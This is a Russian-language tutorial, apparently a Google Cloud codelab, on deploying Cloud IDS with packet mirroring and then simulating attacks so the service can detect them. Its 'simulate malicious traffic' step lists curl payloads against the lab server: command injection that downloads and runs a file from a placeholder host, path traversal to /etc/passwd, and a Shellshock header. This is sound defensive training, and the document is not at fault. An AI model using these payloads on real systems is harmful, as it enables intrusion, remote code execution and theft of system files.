Облачный IDS

1. Введение

В ходе этой лабораторной работы вы развернете Cloud IDS, расширенную службу обнаружения вторжений нового поколения, которая обеспечивает обнаружение угроз для вторжений, вредоносных программ, шпионских программ и атак с использованием командования и контроля. Вы смоделируете несколько атак и просмотрите подробную информацию об угрозах в Cloud Console.

Что вы узнаете

  • Как создать конечную точку Cloud IDS
  • Как создать 2 виртуальные машины с помощью команд gcloud
  • Как создать политику зеркалирования пакетов
  • Как смоделировать атакующий трафик с виртуальной машины
  • Как просмотреть сведения об угрозах в Cloud Console и Cloud Logging

Что вам понадобится

  • Знание основных команд Linux

2. Варианты использования Cloud IDS

Cloud IDS предоставляет клиентам встроенную службу обнаружения вторжений нового поколения (IDS) Google Cloud, позволяющую удовлетворить их расширенные требования по обнаружению угроз и обеспечению соответствия требованиям, таким как PCI 11.4. Служба основана на технологиях защиты от угроз Palo Alto Networks, обеспечивающих расширенное обнаружение вторжений. Сочетание инфраструктуры мирового класса Google Cloud с безопасностью мирового класса от Palo Alto Networks предоставляет клиентам непревзойденное сочетание полностью управляемой, высокопроизводительной и эффективной службы расширенного обнаружения угроз.

Когда клиенты переходят в облако, безопасность становится для них главным приоритетом. Они хотят иметь те же элементы управления безопасностью, что и локально, например службу обнаружения вторжений (IDS) в облаке. Они настоятельно предпочитают использовать облачное управляемое решение IDS из-за простоты развертывания, высокой производительности и оптимизации затрат по сравнению с развертыванием стороннего решения безопасности и управлением инфраструктурой или использованием собственных подписей. Google Cloud IDS предоставляет комплексный управляемый сервис IDS с автоматическим масштабированием, позволяющий клиентам тратить свое время на анализ и устранение угроз, а также высвобождает время и ресурсы для управления инфраструктурой или сигнатурами угроз.

Cloud IDS развертывается вне канала и может обнаруживать угрозы и оповещать об них, но не может блокировать угрозы. Он использует Google Cloud Packet Mirroring для создания копии сетевого трафика, который анализируется с помощью механизма обнаружения угроз Palo Alto Network.

3. Топология Codelab

5a276f399e1d31e2.png

Рис. 1. Общий обзор архитектуры развертывания Cloud IDS для этой лабораторной работы.

4. Настройка и требования

Самостоятельная настройка среды

  1. Войдите в Google Cloud Console и создайте новый проект или повторно используйте существующий. Если у вас еще нет учетной записи Gmail или Google Workspace, вам необходимо ее создать .

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Имя проекта — это отображаемое имя для участников этого проекта. Это строка символов, не используемая API Google, и вы можете обновить ее в любое время.
  • Идентификатор проекта должен быть уникальным для всех проектов Google Cloud и неизменяемым (нельзя изменить после его установки). Cloud Console автоматически генерирует уникальную строку; обычно тебя не волнует, что это такое. В большинстве лабораторий кода вам потребуется указать идентификатор проекта (обычно он обозначается как PROJECT_ID ), поэтому, если он вам не нравится, создайте другой случайный идентификатор или попробуйте свой собственный и посмотрите, доступен ли он. Затем он «замораживается» после создания проекта.
  • Существует третье значение — номер проекта , который используют некоторые API. Подробнее обо всех трех этих значениях читайте в документации .
  1. Затем вам необходимо включить выставление счетов в Cloud Console, чтобы использовать облачные ресурсы/API. Прохождение этой лаборатории кода не должно стоить много, если вообще стоит. Чтобы отключить ресурсы и не платить за выставление счетов за пределами этого руководства, следуйте инструкциям по «очистке», которые можно найти в конце лаборатории кода. Новые пользователи Google Cloud имеют право на участие в программе бесплатной пробной версии стоимостью 300 долларов США .

Запустить Cloud Shell

Хотя Google Cloud можно управлять удаленно с вашего ноутбука, в этой лаборатории вы будете использовать Google Cloud Shell , среду командной строки, работающую в облаке.

В консоли GCP щелкните значок Cloud Shell на верхней правой панели инструментов:

bce75f34b2c53987.png

Подготовка и подключение к среде займет всего несколько минут. Когда все будет готово, вы должны увидеть что-то вроде этого:

f6ef2b5f13479f3a.png

Эта виртуальная машина оснащена всеми необходимыми инструментами разработки. Он предлагает постоянный домашний каталог объемом 5 ГБ и работает в Google Cloud, что значительно повышает производительность сети и аутентификацию. Всю работу в этой лабораторной работе можно выполнять с помощью простого браузера.

5. Прежде чем начать

Включить API

В Cloud Shell убедитесь, что идентификатор вашего проекта настроен.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Включите все необходимые службы

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Создайте сеть VPC.

Сеть VPC

Из Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Подсеть

Из Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Доступ к частному сервису

Из Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Подключение частного сервиса

Из Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Правила брандмауэра

Чтобы разрешить IAP подключаться к вашим экземплярам виртуальных машин, создайте правило брандмауэра, которое:

  • Применяется ко всем экземплярам виртуальных машин, доступ к которым вы хотите сделать с помощью IAP.
  • Разрешает входящий трафик из диапазона IP 35.235.240.0/20. Этот диапазон содержит все IP-адреса, которые IAP использует для пересылки TCP.

Из Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Чтобы разрешить доступ к серверу стандартному порту HTTP (TCP 80) и протоколу ICMP:

  • Применяется к ресурсам с сетевым тегом «сервер».
  • Разрешает доступ из всех источников

Из Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Создать экземпляр Cloud NAT

Облачный маршрутизатор

Из Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Облачный NAT

Из Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Создайте конечную точку Cloud IDS.

В этом разделе вы создадите конечную точку Cloud IDS в us-east1 с уровнем серьезности, установленным на информационный. Создание конечной точки IDS занимает около 20 минут.

Конечная точка IDS

Из Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Убедитесь, что конечная точка Cloud IDS запущена.

gcloud ids endpoints list --project=$PROJECT_ID

Выход -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Создайте 2 виртуальные машины.

В этом разделе вы создадите 2 виртуальные машины. Первым будет ваш веб-сервер, который зеркалирует Cloud IDS. Вторая виртуальная машина будет вашим источником атакующего трафика.

Виртуальная машина 1 (Сервер)

Из Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Виртуальная машина 2 (Клиент)

Из Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Подготовка сервера

В ходе этой задачи вы проверите свой сервер и предоставите безопасное вредоносное ПО для своего клиента.

SSH к виртуальной машине через Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Убедитесь, что веб-служба запущена

sudo systemctl status nginx

Вывод - проверка активности и работы

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Изменить каталог на веб-сервис

cd /var/www/html/

Создайте безопасный вредоносный файл на веб-сервере.

sudo touch eicar.file

Вставьте содержимое

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Вернуться в CloudShell

exit

Создайте политику зеркалирования пакетов Cloud IDS.

Определите правило переадресации конечной точки IDS и подтвердите, что конечная точка IDS находится в состоянии «ГОТОВ».

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Пример вывода: скопируйте значение из «endpointForwardingRule».

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Сохраните правило переадресации конечной точки IDS в переменную.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Политика зеркалирования пакетов

Из Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Убедитесь, что политика зеркалирования пакетов создана.

Из Cloud Shell

gcloud compute packet-mirrorings list

Выход

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Имитация атакующего трафика

SSH на виртуальную машину злоумышленника (клиент)

Из Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Запустите следующие запросы на завивку, чтобы имитировать вредоносный трафик.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Выйдите из виртуальной машины, чтобы вернуться в CloudShell.

exit

11. Просмотрите угрозы, обнаруженные Cloud IDS.

Перейдите на панель управления Cloud IDS.

Меню навигации > Сетевая безопасность > Cloud IDS

37583419aa604aa8.png

Перейдите на вкладку «Угрозы».

b7d934f409b4e2b.png

Как видите, Cloud IDS фиксирует различные профили атакованного трафика и предоставляет подробную информацию о каждой угрозе. Возможно, вам придется нажать кнопку «Обновить», если вы не видите никаких угроз. Теперь мы углубимся немного глубже и рассмотрим детали угрозы.

Найдите угрозу «Уязвимость удаленного выполнения кода Bash», щелкните три точки справа и выберите «Просмотреть сведения об угрозе».

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Теперь посмотрим подробности этого инцидента в Cloud Logging. Вернитесь на страницу «Угрозы», щелкнув стрелку, указывающую влево.

Нажмите на три точки справа и выберите «Просмотреть журналы угроз».

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Те же сведения предоставляются и для Cloud Logging. Это позволяет отправлять журналы в Cloud Storage, Chronicle или любой SIEM/SOAR. Вы также можете создавать собственные рабочие процессы для выполнения действий по исправлению ситуации на основе предупреждений, например, создать облачную функцию, которая срабатывает при предупреждении, и создать/обновить правило брандмауэра для блокировки IP-адреса или создать/обновить политику Cloud Armor.

12. Этапы очистки

Выход из экземпляра виртуальной машины (все вкладки)

exit

Удаление компонентов лаборатории из одного терминала Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Поздравляем!

Поздравляем с завершением работы над кодом.

Что мы рассмотрели

  • Варианты использования Cloud IDS
  • Требования к сети
  • Поддерживаемые API
  • Создана конечная точка Cloud IDS.
  • Развернуто 2 виртуальные машины
  • Сгенерировал некоторый «атакующий» трафик от клиента
  • Подтвержденные угрозы были обнаружены IDS
  • Просмотр сведений об угрозах и журналов